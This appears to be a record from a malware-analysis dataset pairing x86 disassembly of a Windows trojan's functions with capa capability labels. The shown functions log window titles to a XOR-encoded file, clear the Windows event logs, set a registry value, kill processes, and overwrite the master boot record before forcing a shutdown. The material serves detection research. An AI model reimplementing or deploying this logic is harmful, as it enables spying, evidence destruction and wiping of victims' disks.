joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100089f0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b7810
push 0x1002d124
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10008b4d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10008a9c
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10008a9c
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10008a77
cmp al, 0x5c
je 0x10008a77
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10008a5f
cmp byte [esi], 0
je 0x10008a80
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10008a95
cmp al, 0x5c
je 0x10008a95
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10008a7d
cmp byte [esi], 0
je 0x10008abb
jmp 0x10008ab7
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10008abb
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10008abb
cmp al, 0x5c
jne 0x10008abb
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10008b11
cmp al, 0x5c
jne 0x10008b03
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10008af6
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10008b00
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10008b00
push edi
jmp 0x10008b44
and eax, 0x10
cmp al, 0x10
je 0x10008b00
push edi
jmp 0x10008b44
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10008ac1
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100092a0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
sub esp, 0x464
push ebx
push ebp
push esi
mov esi, dword [esp + 0x474]
mov dword [esp + 0x20], ecx
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x168]
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov cl, byte [eax + esi - 1]
mov edi, 0x100fa614
cmp cl, 0x5c
jne 0x100092df
mov edi, 0x1012b064
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
mov al, 0x2a
mov byte [esp + 0x1c], al
mov byte [esp + 0x1e], al
push edi
lea eax, [esp + 0x1c]
push esi
lea ecx, [esp + 0x170]
mov bl, 0x73
push eax
push ecx
mov byte [esp + 0x28], 0x25
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x25
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2f], 0
call ebp
add esp, 0x10
lea edx, [esp + 0x28]
lea eax, [esp + 0x168]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x20], eax
jne 0x1000934c
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x464
ret 4
mov byte [esp + 0x11], bl
mov byte [esp + 0x13], bl
mov byte [esp + 0x15], bl
mov byte [esp + 0x10], 0x25
mov byte [esp + 0x12], 0x25
mov byte [esp + 0x14], 0x25
mov byte [esp + 0x16], 0
mov bl, 1
cmp byte [esp + 0x54], 0x2e
je 0x100093ea
test byte [esp + 0x28], 0x10
je 0x100093a8
lea ecx, [esp + 0x54]
lea edx, [esp + 0x10]
push ecx
push edi
push esi
lea eax, [esp + 0x37c]
push edx
push eax
call ebp
add esp, 0x14
lea ecx, [esp + 0x370]
push ecx
mov ecx, dword [esp + 0x28]
call fcn.100092a0
jmp 0x100093ea
lea edx, [esp + 0x54]
lea eax, [esp + 0x10]
push edx
push edi
push esi
lea ecx, [esp + 0x278]
push eax
push ecx
call ebp
mov al, byte [esp + 0x3c]
add esp, 0x14
test bl, al
je 0x100093dc
lea edx, [esp + 0x26c]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000936e
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x464
ret 4
Function at 0x10009430
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
mov ebx, ecx
push ebp
push esi
lea edx, [ebx + 0x130]
push edi
mov ebp, dword [esp + 0x1c]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx + 0x128]
cmp eax, 0xffffffff
je 0x10009481
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 3
push 0
push 1
push bind
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebx + 0x128], eax
jne 0x100094b1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.10010b00
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4

Function at 0x10009540
Capabilities:
Read file on windows

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
mov ebx, ecx
cmp dword [edi], 0xffffffff
jne 0x1000955f
cmp dword [edi + 4], 0xffffffff
jne 0x1000955f
call fcn.10009600
pop edi
xor eax, eax
pop ebx
ret 4
mov eax, dword [edi + 4]
mov ecx, dword [ebx + 0x128]
push esi
push 0
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x19000
push 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x10]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [edi]
mov dword [esi + 1], edx
mov eax, dword [edi + 4]
mov dword [esi + 5], eax
mov eax, dword [ebx + 0x128]
lea edx, [esi + 9]
push 0x18ff7
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x100095db
add eax, 9
mov ecx, ebx
push eax
push esi
call fcn.10010b00
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebx
ret 4
mov ecx, ebx
call fcn.10009600
mov edi, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebx
ret 4
Function at 0x10009d80
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, ecx
mov eax, dword [edi]
mov edx, dword [edi + 4]
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], eax
mov eax, dword [esi + 0x12c]
push 0
push ecx
push edx
push eax
call ebx
mov edx, dword [esp + 0x24]
mov eax, dword [esi + 0x12c]
lea ecx, [esp + 0xc]
push 0
add edx, 0xfffffff8
push ecx
add edi, 8
push edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esi + 0x12c]
lea ecx, [esp + 0x20]
push 1
push ecx
push 0
push edx
mov dword [esp + 0x30], 0
call ebx
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x10]
mov dword [esp + 0x11], ecx
push 9
push edx
mov ecx, esi
mov byte [esp + 0x18], 0x70
mov dword [esp + 0x1d], eax
call fcn.10010b00
pop edi
pop esi
pop ebx
add esp, 0x10
ret 8

Function at 0x10009e80
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x3c
push esi
mov esi, ecx
push edi
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x48]
lea edx, [esp + 8]
push edx
mov dword [esp + 0xc], 0x3c
mov dword [esp + 0x10], 0x40
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], str.WinRAR
mov dword [esp + 0x20], ecx
mov dword [esp + 0x28], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x10009eec
mov eax, dword [esp + 0x40]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x72
mov ecx, esi
call fcn.10009690
pop edi
pop esi
add esp, 0x3c
ret 4

Function at 0x1000b570
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push esi
push edi
mov edi, 0x100fa7c0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ebx, dword [esp + 0x140]
mov dword [esp + 0xc], 0x128
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x138]
lea ecx, [esp + 0xc]
push ecx
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000b605
mov edi, dword [esp + 0x13c]
mov eax, dword [esp + 0x14]
cmp eax, edi
je 0x1000b5e4
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000b605
cmp dword [esp + 0x14], edi
jne 0x1000b5cf
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x128
ret
Function at 0x1000b620
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x100fa614
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x18]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 4
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
push 2
lea eax, [esp + 0x28]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
push 0
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x1000b6d6
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x11c]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MFC42.DLL_operatornew
add esp, 4
mov edi, eax
test esi, esi
jle 0x1000b705
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x1000b6f9
lea eax, [esp + 0x10]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x1000b730
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x1012b14c
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x1012b14c
push eax
mov dword [0x1012b54c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x1012b148]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x1012b54c]
cmp eax, ecx
je 0x1000b82b
push 0x1012b14c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x1000b81f
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x1012b14c
lea edx, [esp + 0x34]
push 0x100faf88
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.1000b620
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x1012b14c
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x1012b54c]
mov dword [0x1012b148], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret

Function at 0x1000ba50
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push ebp
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000bb0a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000bb11
mov esi, dword [esp + 0x13c]
mov edi, dword [sym.imp.MSVCRT.dll__wcsupr]
push esi
call edi
lea ecx, [esp + 0x38]
mov ebx, eax
push ecx
call edi
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
jbe 0x1000bac7
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x128
ret
lea edx, [esp + 0x10]
push edx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000bb0a
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [esp + 0x34]
push eax
call edi
push esi
call edi
lea ecx, [esp + 0x3c]
push esi
push ecx
call ebx
add esp, 0x10
test eax, eax
jne 0x1000bab7
lea edx, [esp + 0x10]
push edx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000bae2
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x128
ret
Function at 0x1000bbb0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x10097f83
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov dword [esp + 0x148], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 0x10]
push eax
push edi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000bcae
lea ecx, [esp + 0x148]
call sub.MFC42.DLL_CString::MakeLower
lea ecx, [esp + 0x10]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000bca0
lea edx, [esp + 0x34]
lea ecx, [esp + 0xc]
push edx
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0xc]
mov byte [esp + 0x140], 1
call sub.MFC42.DLL_CString::MakeLower
mov esi, dword [esp + 0x148]
mov eax, dword [esp + 0xc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000bc69
cmp cl, bl
je 0x1000bc65
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000bc69
add eax, 2
add esi, 2
cmp cl, bl
jne 0x1000bc45
xor eax, eax
jmp 0x1000bc6e
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x1000bcdf
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0xc]
mov byte [esp + 0x140], bl
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000bc1b
push 0xffffffffffffffff
lea ecx, [esp + 0x14c]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x138]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x138
ret
mov ecx, dword [esp + 0x18]
push ecx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0xffffffffffffffff
lea ecx, [esp + 0x14c]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0xc]
mov byte [esp + 0x140], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
jmp 0x1000bcc7
Function at 0x1000e2b0
Capabilities:
Enumerate gui resources

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000bb20
mov eax, ecx
mov esi, edi
mov edi, 0x1012b554
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [0x1012b550]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
ret 4

Function at 0x1000e540
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x1000e590
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x1000e577
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x1000e5b0
Capabilities:
Set registry value
Write file on windows

Disassembly:
sub esp, 0x10c
push esi
push edi
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveHost.sys
lea edi, [esp + 0x10]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, 0x37
lea edi, [esp + 0x3c]
push 0x80
push 4
push eax
rep stosd dword es:[edi], eax
push 2
lea eax, [esp + 0x24]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [esp + 0x118]
lea ecx, [esp + 0xc]
push 0
push ecx
push esi
mov edi, eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 8]
push edx
push str.TGByteSetup
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1000e661
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push 1
push eax
mov eax, dword [esp + 0x18]
push str.Host
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 0x10c
ret
Function at 0x1000e670
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar
Manipulate cd-rom drive
Overwrite master boot record (mbr)
Power down monitor
Shutdown system
Swap mouse buttons
Terminate process
Write file on windows

Disassembly:
sub esp, 0x208
mov ecx, 0x7f
xor eax, eax
push esi
push edi
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x214]
test eax, eax
je 0x1000e6a5
mov ecx, 6
mov esi, 0x100fac84
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
jmp 0x1000e6ae
mov al, byte [0x100fac84]
mov byte [esp + 0x10], al
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
mov byte [esp + 0x22a], 0x55
mov byte [esp + 0x22b], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000e6ea
pop edi
or eax, eax
pop esi
add esp, 0x208
ret
lea ecx, [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
lea edx, [esp + 0xc]
push 0
push edx
lea eax, [esp + 0x18]
push 0x200
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [esp + 8]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x1000e764
push 1
push str.SeShutdownPrivilege
call fcn.1001b690
add esp, 8
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000ebe0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x1000ec06
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret
Function at 0x10010640
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1001b690
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1001b690
add esp, 8
ret 4

Function at 0x10010790
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x100fa614
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push ebx
and ecx, 3
push 1
lea eax, [esp + 0x2c]
push bind
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10010892
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MFC42.DLL_operatornew
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
push ebx
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x1001087c
mov bl, byte [eax + esi]
xor bl, 0x62
mov byte [eax + esi], bl
inc eax
cmp eax, edi
jb 0x1001086e
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.10010730
push esi
mov ebx, eax
call sub.MFC42.DLL_operatordelete
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10c
ret